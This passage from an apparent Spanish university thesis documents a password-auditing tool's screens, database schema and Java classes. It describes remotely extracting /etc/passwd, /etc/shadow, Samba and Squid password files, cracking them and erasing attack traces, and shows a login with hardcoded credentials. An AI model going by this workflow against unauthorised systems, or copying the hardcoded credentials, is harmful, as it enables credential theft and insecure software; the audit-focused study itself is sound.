información a manera de reporte de que es lo que está ocurriendo con el

desarrollo del ataque (sea como fuere, se puede ver esto también en la

consola terminal donde se esté ejecutando el proyecto).

En cada realización de los pasos del ataque de auditoria, la pantalla sufre

una congelación, esto es normal en el programa, ya que está usando muchos

recursos del sistema, la respuesta en tiempo real se la puede revisar en una

consola terminal, una vez que el proceso ha liberado los recursos, devuelve

el control al programa principal.

Page 67: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

52

Si se logró autenticación con éxito, después de haber realizado el ataque se

habilitará el botón de extracción de archivo del password, que es lo único que

necesitamos para obtener los passwords del sistema.

Aquí vale hacer una aclaración importante: Solo se hace los ataques con

fines de auditoria solamente y siempre bajo la supervisión del

administrador o encargado del departamento de sistemas o de la

red...bajo ningún concepto se realizará otro tipo de actividad con el

programa, ni con las claves obtenidas, el resultado de la auditoria solo será

de conocimiento del administrador, pudiendo el administrarla como más le

convenga. Solo se implementará un ataque de exploit con fines

educativos... el sistema, una vez terminada la auditoria, deberá retornar a su

estado normal. Solo el administrador conocerá el modo completo de

operación del sistema, además será el encargado, una vez conociendo cómo

funciona el exploit remoto (detallado en el manual técnico) de eliminar los

rastros del ataque remoto, borrando y reconfigurando los archivos

respectivos (ver el manual técnico de ayuda).

El uso de esta herramienta está limitado solo a administradores del sistema,

los cuales, una vez implementada la auditoria, se hacen responsables por los

resultados obtenidos de la misma, y de las consecuencias que esto pueda

traer.

Page 68: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

53

El fin principal de esto es implementar un sistema de passwords seguros, con

lo cual, el sistema, va a tener mayor protección contra ataques de cualquier

índole sobre esto tópico.

Cuando tengo ya el primer ataque implementado, se procederá a realizar la

extracción remota de los archivos y a colocar el exploit remoto de

autenticación. Aplastando el botón en la parte de extracción del archivo

passwd.

En este caso, se procederá a la extracción de los siguientes archivos:

Los principales del sistema que están en la ruta /etc/passwd y /etc/shadow

(en el caso de que los archivos sean tipo shadow)

Los archivos de los usuarios SAMBA (si los hubiere) radicados en

/etc/samba/smbpasswd

Los archivos de los usuarios SQUID (si los hubiere) --> se deberá tener una

idea de donde está radicado el archivo.

Un ejemplo de esto es que pueden estar en /etc/squid/passwords o en

cualquier otro sitio según sea las políticas de configuración o de quien lo

haya hecho. En tal caso se puede obtener esta información del administrador

del sistema, la ruta exacta de donde radica este archivo, en el caso de que

squid no tenga las configuraciones por defecto.

Page 69: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

54

El botón stop tiene la misma funcionalidad como en el paso anterior.

La pantalla de texto ubicada abajo de estos botones sirve para mostrar cómo

se va desarrollando el ataque, esto igual se lo puede visualizar en la pantalla

terminal de donde se esté ejecutando el proyecto.

Si se tuvo éxito con la extracción de los archivos (en un 90% de los casos

hay éxito), se procederá de inmediato a “romper “las claves que se

encuentren en los diferentes archivos, con el uso de herramientas de

cracking de passwords.

Este es el proceso que más tiempo toma realizar, puede demorar muchas

horas, días o años dependiendo de la fortaleza de los passwords, entonces,

el programa tendrá un tiempo prudencial de ejecución, si no se pudieron

romper las claves después de cierto tiempo, se deberá concluir que las

claves que no han sido encontradas son fuertes y aptas para trabajar en el

sistema.

El programa sufrirá una congelación la cual puede inquietar un poco, esta

reacción es normal ya que el programa está utilizando, y en este paso más

que en otros, recursos del sistema. Con lo cual puede mostrar un

comportamiento un poco inestable. Se recomienda mientras se está

ejecutando esta parte de la auditoria, no ejecutar ningún otro programa para

no quitarle recursos al auditor de passwords.

Page 70: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

55

Si se pudo desencriptar todos los passwords, la pantalla terminará su

ejecución mostrando todos los passwords encontrados, de los diferentes

servicios. Esta información se despliega en la pantalla de texto colocada

abajo de estos botones.

Si todo va bien, se activará el botón de análisis, con el cual empezaremos a

evaluar cada uno de los passwords obtenidos, su nivel de seguridad y su

caducidad.

El modulo final es para chequear si hay conexión con la maquina remota, en

el caso de que por alguna razón haya fallado algún paso anterior.

Los tres botones de la parte inferior izquierda de la pantalla son para la

administración de los resultados. Se cuenta con un botón para guardar el Log

de todo lo ocurrido en esta pantalla, el botón de ayuda que desplegará la

ayuda contextual sobre esta pantalla, y un botón que me permitirá retornar a

la pantalla anterior.

Si hay al menos un password que analizar, se activará el botón de análisis el

cual me despliega la siguiente pantalla:

Page 71: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

56

Gráfico No. 29 Pantalla Paramentos de análisis

Permite ingresar los porcentajes de niveles de seguridad

Antes de ingresar a la pantalla del análisis, se verá esta, la cual me permite

ingresar los parámetros a los cuales yo voy a someter el análisis.

Como se puede apreciar, se verá unos cuadros de texto, en los cuales se

deberá ingresar el % de evaluación de los passwords. Esto se explica de la

siguiente forma:

Para una persona en particular, un password “seguro “puede estar pasando

un 50% del análisis, pero para otra puede ser un 70% o más arriba. El fin de

esto es colocar los parámetros de seguridad que el usuario considere sean

los rangos de análisis, ya que en ciertas computadoras puede que no se exija

un nivel elevado de seguridad de las claves, pero en otras, como el caso de

servidores, puede que así se requiera.

Page 72: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

57

En los cuadros de texto mencionados anteriormente se colocarán dichos

valores, los cuales se ingresarán los % de acuerdo a ciertas reglas de

validación:

• La suma total de ellos no deberá pasar el 100% sino no se podrá acceder

a la siguiente pantalla

• Los porcentajes van en escala, El alto debe ser el mayor de todos, el

medio no puede ser menor que el bajo, y así por el estilo. En tal caso si

hay algún dato mal ingresado, el programa se encargará de avisar al

usuario sobre lo acontecido.

• No se ingresarán campos vacíos. El programa valida el ingreso de

campos con un valor minino de 0%

• No se ingresarán campos con valores negativos. Esto ya lo valida el

programa.

• No se ingresarán nada más que números. Y los mismos, serán de

máximo 2 dígitos. Esto lo valida el programa.

• Se deberá ingresar una fecha, la cual indica los días de vigencia de los

passwords, será en días obligadamente, y tendrá una longitud de 2

dígitos. Las validaciones anteriores se aplican igual en el campo fecha.

Si se han ingresado los datos correctamente, se procederá a presionar el

botón de aceptar para enviar los datos, si se han enviado correctamente

pasamos a la siguiente pantalla, sino saldrá el respectivo mensaje de error.

Page 73: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

58

El botón limpiar borra todos los datos de la pantalla y la deja en un estado

inicial (reset), el botón salir para dejar de ejecutar el programa.

La pantalla que sigue, se la muestra a continuación:

Gráfico No. 30 Resultado de análisis

Nos permite visualizar los usuarios y claves encontradas

así como el nivel de seguridad de la clave

En la pantalla anterior se puede observar en la parte superior el típico menú

de opciones el cual es Standard en todo el sistema, con las opciones

explicadas ya anteriormente.

En la parte superior cuenta con una pantalla de texto tipo reporte, en la cual

se desplegará todo los resultados del análisis, con mayor detalle.

Page 74: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

59

Información de cómo está estructurado el password, su longitud, cuantas

mayúsculas, números, especiales posee, si es una palabra de diccionario, si

está o no caducado, además de saber su código del cual se lo descifró, y a

que usuario pertenece.

En la parte media de la pantalla se muestra una tabla, en la cual se podrán

ver los datos explicados anteriormente, en modo resumen, para poder

después guardarlos en la base de datos. En la parte inferior se pueden

visualizar un conjunto de botones los cuales describo a continuación:

RESULTADOS.- Para empezar la ejecución del análisis, y obtener los

resultados en las respectivas pantallas.

GUARDAR.- Para guardar los datos en la base de datos, si no ha ocurrido

ningún error durante el análisis.

SALIR.- Salida del sistema.

Luego de haber ejecutado esta parte, podremos visualizar un reporte acerca

de todo lo que se ha logrado analizar y los datos que se han obtenido. Esto

se lo puede hacer en cualquier momento, en la parte superior del menú en la

opción reportes, el cual desplegará una pantalla como la que sigue:

Page 75: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

60

Gráfico No. 31 Pantalla Reporte del Sistema

Nos presenta los datos obtenidos de una consulta

En la parte superior de la misma, el menú del sistema, en la parte de arriba

de la forma, se podrá ver una tabla de datos, la cual me permitirá mostrar los

datos obtenidos de la consulta a la base de datos del sistema. En la parte de

abajo de la tabla, se encuentra un grupo de botones, los cuales tienen la

siguiente funcionalidad:

ESTADÍSTICA.- Me genera la pantalla para poder visualizar los reportes en

modo gráfico.

%SEGURIDAD.- Me muestra los resultados de la consulta según el nivel de

seguridad (alto, medio, bajo)

El sistema solo acepta consultas del tipo “alto, medio, bajo “, cualquier otra

cosa ingresada en la caja, no validará la opción de consulta.

Page 76: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

61

Los datos de consulta se ingresan al sistema por medio de cajas de texto

input, como ejemplo la que sigue:

Gráfico No. 32 Consulta

Solicitud de IP que se desea consultar

En el cual, en esta caso, se deberá ingresar la fecha en la cual se haya

realizado el análisis, como ejemplo en esta caso, queremos ver el reporte del

día de hoy que se ejecuto el análisis. La fecha tiene el formato dd/mm/yyyy y

el sistema no acepta otro tipo de formato.

Si se obtuvo éxito con la consulta muestra el siguiente mensaje:

Gráfico No. 33 Mensaje

Visualización de mensaje después de consulta exitosa

Page 77: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

62

POR FECHA.- Se consultará los datos por la fecha en que ingresaron al

sistema. El formato es dd/mm/yyyy ejemplo: 12/1/2007 o 12/10/2007,

cualquier otro formato, el sistema no realizará la consulta.

TODOS.- Es la consulta general, muestra todos los registros del sistema.

VIGENCIA.- Se consulta pro medio del estado de vigencia del password

(vigente, expirado), no acepta otro tipo de consulta.

IP.- Se realizará la consulta por medio de la IP de la maquina auditada, se

deberá ingresar la IP como ejemplo: 192.168.10.100 sea de tipo A, B, o C. Si

se ingresa otra cosa dará error y no se podrá realizar la consulta. Podemos

ver también reportes tipo gráficos estadísticos de los resultados de las

auditorias, para una visión más cómoda de los datos, la ventana que permite

esto se la ve a continuación:

Gráfico No. 34 Generación Estadística

Permite realizar gráficos tipo barras o pastel

Page 78: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

63

En la cual yo puedo escoger el tipo de estadística que deseo ver, además del

tipo de gráfico. Los valores de consulta se ingresan en inputs como se lo

explico anteriormente. Los gráficos que se generan son de tipo barra y

pastel, un ejemplo de gráfico se muestra a continuación:

Gráfico No. 35 Gráfico tipo Pastel y tipo barra

Tipo de gráficos que son presentados en el reporte

Los gráficos se pueden ver de modo general (todos los datos de la base de

datos) o se manda a buscar bajo un criterio de consulta. Ejemplo. Mostrar

los porcentajes de passwords (alto-medio-bajo) de una IP en particular. Para

lo cual se seleccionará el botón en la pantalla que ejecute la opción, se

ingresará la IP a consultar, y si existen los datos, mostrará los gráficos como

se los ve arriba de ejemplo.

Las consultas que se pueden hacer son por IP o consultas generales de toda

la Lan, por los porcentajes de seguridad de los passwords (alto-medio-bajo) y

por vigencia (vigentes-expirados), igual sea por IP o estadística general.

Page 79: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

64

Se presenta a continuación las pantallas restantes del sistema:

Créditos

La ventana en la cual se ven los autores del programa.

Gráfico No. 36 Pantalla de Crédito

Presenta los autores del programa

Salir

La pantalla que controla la salida del sistema

Gráfico No. 37 pantalla de Salida

Muestra una pregunta para asegurar que desea salir

Page 80: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO IV

Manual Técnico

En esta parte del proyecto se para una detallada explicación acerca del

funcionamiento del proyecto incluyendo todos los procesos principales y

subprocesos que estén asociados.

Se explica cómo los procesos están asociados unos con otros, para que su

modificación se pueda realizar de la manera más fácil, además de la

configuración de la base de datos, de un modo sencillo, de tal forma que si

se desea usar otro tipo de base de datos aparte de la proporcionada, se lo

realice de un modo sencillo y práctico.

El diseño de clases implementado respeta el esquema de herencia básico

que usa el lenguaje de programación, recordar que seguimos una

metodología de diseño no orientada a objetos, pero hay que considerar que

se está usando el lenguaje de alto nivel java, en el cual necesariamente se

aplica herencia, pero es mínima.

La modificación del código original queda bajo responsabilidad del

administrador del programa. Para su uso posterior.

Page 81: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

66

Diccionario de datos.

Para el desarrollo de nuestra base de datos vamos a utilizar el Modelo

conocido como entidad relación (DER), y nuestra base de datos está

compuesta por las siguientes tablas.

Nombre de la tabla: IP

Entidad que permitirá manejar todos los datos con respecto a las ips

capturadas del sistema, cuando se realice la respectiva inserción de datos.

Atributos de ip:

• id_ip

• dirección

• fecha

• hora

Nombre_campo : id_ip

Alias: id_ip_pk (nombre del constraint que identifica a la clave primaria)

Descripción: Identificador de la tabla de dirección ip

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor

Nombre_campo : dirección

Alias: ninguno

Descripción: valor de la dirección IP capturada del sistema

Valores por defecto: null

Tipo: varchar 20

Siempre va a tener un valor

Page 82: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

67

Nombre_campo : fecha

Alias: ninguno

Descripción: la fecha capturada y registrada del sistema

Valores por defecto: null

Tipo: date

Siempre va a tener un valor

Nombre_campo : hora

Alias: ninguno

Descripción: la hora capturada y registrada del sistema

Valores por defecto: null

Tipo: date

Puede o no registrar un valor. No es obligatorio

Nombre de la tabla: puerto

Entidad que nos permitirá manejar todos los puertos de las respectivas ips

capturadas por el programa. Si hay una IP activa y se le puede escanear los

puertos, se llevará un registro de los mismos.

Atributos de puerto:

• id_puerto

• num_puerto

• estado

• servicio

• observación

Page 83: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

68

Nombre_campo : id_puerto

Alias: id_puerto_pk (nombre del constraint que identifica a la clave primaria)

Descripción: clave primaria de la tabla puerto

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : num_puerto

Alias: ninguno

Descripción: registro de los números de los puertos de la IP activa que haya

registrado el sistema

Valores por defecto: null

Tipo: varchar 10

Puede o no tener un valor.

Nombre_campo : estado

Alias: ninguno

Descripción: identificador de estado del puerto (activo, inactivo)

Valores por defecto: inactivo

Tipo: varchar 10

Siempre va a tener un valor

Nombre_campo : servicio

Alias: ninguno

Descripción: nombre de servicio Linux asociado al número de puerto

Valores por defecto: null

Tipo: varchar 10

Puede o no tener un valor

Page 84: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

69

Nombre_campo : observación

Alias: ninguno

Descripción: datos adicionales sobre la tabla puertos

Valores por defecto: ninguno

Tipo: varchar 500

Campo no obligatorio

Nombre de la tabla: ip_puerto

Entidad que nos permitirá romper la relación muchos a muchos existentes

entre las tablas IP y puerto

Atributos de ip_puerto

• id_puerto

• id_ip

Nombre_campo : id_puerto

Alias: id_puerto_fk (nombre del constraint que identifica a la clave foránea)

Descripción: clave foránea de la tabla puerto

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : id_ip

Alias: id_ip_fk (nombre del constraint que identifica a la clave foránea)

Descripción: clave foránea de la tabla ip

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Page 85: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

70

Nombre de la tabla: usuario

Entidad que nos permitirá almacenar todos los usuarios que estén asociados

a una ip, haciendo un registro de los datos principales.

Atributos de usuario

• id_usuario

• id_ip

• nombre_usuario

• tipo_usuario

• observación

Nombre_campo : id_usuario

Alias: id_usuario_pk (nombre del constraint que identifica a la clave primaria)

Descripción: clave primaria de la tabla usuario

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : id_ip

Alias: id_ip_fk (nombre del constraint que identifica a la clave foránea)

Descripción: clave foránea de la tabla usuario

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : nombre_usuario

Alias: ninguno

Descripción: registro del nombre del usuario

Page 86: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

71

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor.

Nombre_campo : tipo_usuario

Alias: ninguno

Descripción: registro del servicio que está registrado en la maquina sobre

un usuario en particular

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor.

Nombre_campo : observación

Alias: ninguno

Descripción: datos adicionales sobre la tabla usuario

Valores por defecto: null

Tipo: varchar 500

Campo no obligatorio

Nombre de la tabla: password

Entidad que nos permitirá almacenar todos los passwords que hayan podido

ser analizados de los respectivos archivos. El password está asociado con un

solo usuario. Se llevarán los registros por cada análisis que se realice.

Atributos de password

• id_password

• id_usuario

• password

Page 87: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

72

• cod_hash

• servicio

• fecha

• hora

• análisis

• %_seguridad

• Observación

Nombre_campo : id_password

Alias: id_passwd_fk (nombre del constraint que identifica a la clave primaria)

Descripción: clave primaria de la tabla password

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : id_usuario

Alias: id_usuario_fk (nombre del constraint que identifica a la clave foránea)

Descripción: clave foránea de la tabla password

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : password

Alias: ninguno

Descripción: el password capturado del análisis del sistema

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor

Page 88: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

73

Nombre_campo : cod_hash

Alias: ninguno

Descripción: el respectivo código encriptado original del password analizado

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor

Nombre_campo : servicio

Alias: ninguno

Descripción: el servicio asociado con el password capturado, según el tipo

de usuario.

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor

Nombre_campo : fecha

Alias: ninguno

Descripción: la fecha del sistema, al momento de generar el reporte.

Valores por defecto: null

Tipo: date

Siempre va a tener un valor.

Nombre_campo : hora

Alias: ninguno

Descripción: la hora del sistema, al momento de generar el reporte.

Valores por defecto: null

Tipo: date

Siempre va a tener un valor.

Page 89: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

74

Nombre_campo : análisis

Alias: ninguno

Descripción: el extracto del análisis que haya generado el sistema, sobre un

password en particular (valores alto, medio, bajo)

Valores por defecto: null

Tipo: varchar 10

Siempre va a tener un valor.

Nombre_campo : %_seguridad

Alias: ninguno

Descripción: el extracto del % de seguridad que haya generado el sistema,

sobre un password en particular (valor en % desde 10 hasta 95)

Valores por defecto: null

Tipo: varchar 2

Siempre va a tener un valor.

Nombre_campo : descripción

Alias: ninguno

Descripción: la descripción completa acerca de los resultados del análisis

del sistema.

Valores por defecto: null

Tipo: varchar 500

Puede o no tener un valor.

Nombre de la tabla: reporte

Entidad que nos permitirá manejar todos los datos sobre los reportes del

sistema, de manera ordenada, para poder ser visualizados en las pantallas

del proyecto que lo necesiten.

Page 90: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

75

Atributos de reporte:

• id_reporte

• direccion

• usuario

• password

• tipo_usuario

• análisis

• estado

• fecha

• hora

• seguridad

• resultado_análisis

Nombre_campo : id_reporte

Alias: id_reporte_pk (nombre del constraint que identifica a la clave primaria)

Descripción: clave primaria de la tabla reporte

Valores por defecto: ninguno

Tipo: serial (Auto numérico)

Siempre va a tener un valor, es un campo indexado

Nombre_campo : direccion

Alias: ninguno

Descripción: la dirección IP del password analizado

Valores por defecto: null

Tipo: varchar 10

Siempre va a tener un valor

Page 91: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

76

Nombre_campo : password

Alias: ninguno

Descripción: el nombre del usuario del password analizado

Valores por defecto: null

Tipo: varchar 100

Siempre va a tener un valor

Nombre_campo : tipo_usuario

Alias: ninguno

Descripción: el tipo de servicio que usa el usuario del password analizado

Valores por defecto: null

Tipo: varchar 100

Puede o no tener un valor

Nombre_campo : análisis

Alias: ninguno

Descripción: el extracto del análisis obtenido por password (alto,medio,bajo)

Valores por defecto: bajo

Tipo: varchar 10

Siempre va a tener un valor

Nombre_campo : estado

Alias: ninguno

Descripción: la vigencia del password analizado (vigente, expirado)

Valores por defecto: null

Tipo: varchar 20

Siempre va a tener un valor

Page 92: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

77

Nombre_campo : fecha

Alias: ninguno

Descripción: la fecha de la realización de la captura del password analizado

Valores por defecto: null

Tipo: date

Siempre va a tener un valor

Nombre_campo : hora

Alias: ninguno

Descripción: la hora de la realización de la captura del password analizado

Valores por defecto: null

Tipo: date

Siempre va a tener un valor

Nombre_campo : seguridad

Alias: ninguno

Descripción: el nivel de seguridad del password analizado (dado en %

desde el 10% hasta el 95%)

Valores por defecto: null

Tipo: varchar 5

Siempre va a tener un valor

Nombre_campo : resultado_análisis

Alias: ninguno

Descripción: el detalle completo del resultado del análisis que generó el

sistema.

Valores por defecto: null

Tipo: varchar 500

Siempre va a tener un valor

Page 93: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

CAPITULO V

Clases del Proyecto

Por cada clase explicada, se detallarán solo los procesos más relevantes o

críticos de las mismas. Dejando al final el código completo, para poder

someterlo a un detallado análisis, si se desea. Aquí se hará una explicación

detallada de cada una de las funciones principales de las clases del proyecto.

Clase claveproyecto.java

Esta es la clase de arranque de nuestro proyecto, en la cual debemos

ingresar un usuario y un password determinado por el sistema, el cual solo

dará acceso al administrador de programa.

El programa solo podrá ser usado por personas autorizadas, por lo general el

administrador del programa, al cual se le entregarán las claves por defecto

de arranque, con la posibilidad de que las cambie en el código fuente, a su

conveniencia.

Page 94: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

79

Proceso de verificación de contraseñas:

Función principal:

private void verificarActionPerformed (java.awt.event.ActionEvent evt)

La siguiente función nos realiza la validación de las claves que se ingresen al

sistema. Se permite un máximo de tres intentos para acceder al uso del

programa, si se pasa el número de intentos fallidos el programa

automáticamente se cierra, de este modo se impedirá que el programa sea

usado por personas no autorizadas.

Gráfico No. 38 Función Verifica

Permite la validación de claves con un número máximo de 3 intentos de error

private void verificarActionPerformed(java.awt.event.ActionEvent evt) { if(contador_intentos<=1) { if(password_nombre.getText().equals("hacker") && password_clave.getText().equals("cisc@seminario")) { Msg a=new Msg("BIENVENIDO","imagenes/escudo_u.JPG","LA AUTENTICACION FUE REALIZADA CON EXITO","GRACIAS POR USAR","NUESTRO PROGRAMA"); hide(); dispose(); pantalla_principal pant = new pantalla_principal(); pant.show(); }else{ Msg a =new Msg("AVISO","imagenes/escudo_u.JPG","LA AUTENTICACION FALLO","EL NOMBRE DE USUARIO O LA CLAVE SON INCORRECTOS","INTENTELO DE NUEVO...GRACIAS"); contador_intentos ++; password_nombre.setText(""); password_clave.setText(""); System.out.println("Fallaste en tu número de intentos lo siento se te denego el acceso.."); } }else{ this.setVisible(false); System.exit(0);

Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","TE PASASTES DEL NÚMERO DE INTENTOS","SE HA DENEGADO EL USO DEL PROGRAMA","LO SIENTO HACKER");

} }

Page 95: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

80

Clase crea.java

Esta clase me permite crear nuevos objetos de tipo textfield, JLabel, JButton,

JComboBox, JTable, JScrollPane, JMenu, esta clase es invocada en el

momento que el sistema requiera generar objetos de este tipo su uso es

fundamental cuando el sistema genera nuevas, pantallas y nuevos títulos.

Gráfico No. 39 Crea.java

Permite crear nuevos objetos

Clase msg.java

Esta clase es la que maneja todos los mensajes que genera el sistema sean

avisos, errores y advertencias, siempre que sea invocada recibirá 5

parámetros de tipo String.

import java.awt.*; import java.util.Vector; import javax.swing.*; public class Crea { public Crea() { } public static JLabel getLabel(String s) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel(s); return jlabel; } public static TextField getTextField() { TextField textfield = null; if(textfield == null) textfield = new TextField(); return textfield; }

Page 96: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

81

Dependiendo del String que reciba como parámetro desplegará el respectivo

mensaje al usuario. La clase hereda por defecto del superobjeto Frame.

Gráfico No. 40 Clase Msg.java

Maneja los mensajes del Sistema

Clase fecha.java

Esta clase va a ser invocada por la mayoría de la súper clase de consulta de

datos y registros. Entre sus funciones principales tenemos:

• Captura la fecha actual del sistema, para almacenar los datos en la base

y poder hacer una consulta en lo posterior, permitiendo guardar la fecha

automáticamente.

• La función public void inicio, me permite colocar la fecha como un Label

en algunas pantallas del sistema.

public Msg(String s,String linea1, String linea2,String linea3,String linea4) { super(s); ok= new Button("OK"); fondo = new ImageIcon(linea1); dibujo = new JLabel(fondo); setLayout(new BorderLayout()); setBackground( Color.orange); Panel p1 = new Panel(); Panel p2= new Panel(); p1.setLayout(new BorderLayout()); p1.add("North",new JLabel(linea2,JLabel.CENTER)); p1.add("Center",new JLabel(linea3,JLabel.CENTER)); p1.add("South",new JLabel(linea4,JLabel.CENTER)); p2.add("South",ok); add("Center",p1); add("South",p2); add("North", dibujo); setLocation(410, 110); setResizable(false); pack(); show(); }

Page 97: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

82

• La función public String getFecha, captura y retorna la fecha configurada

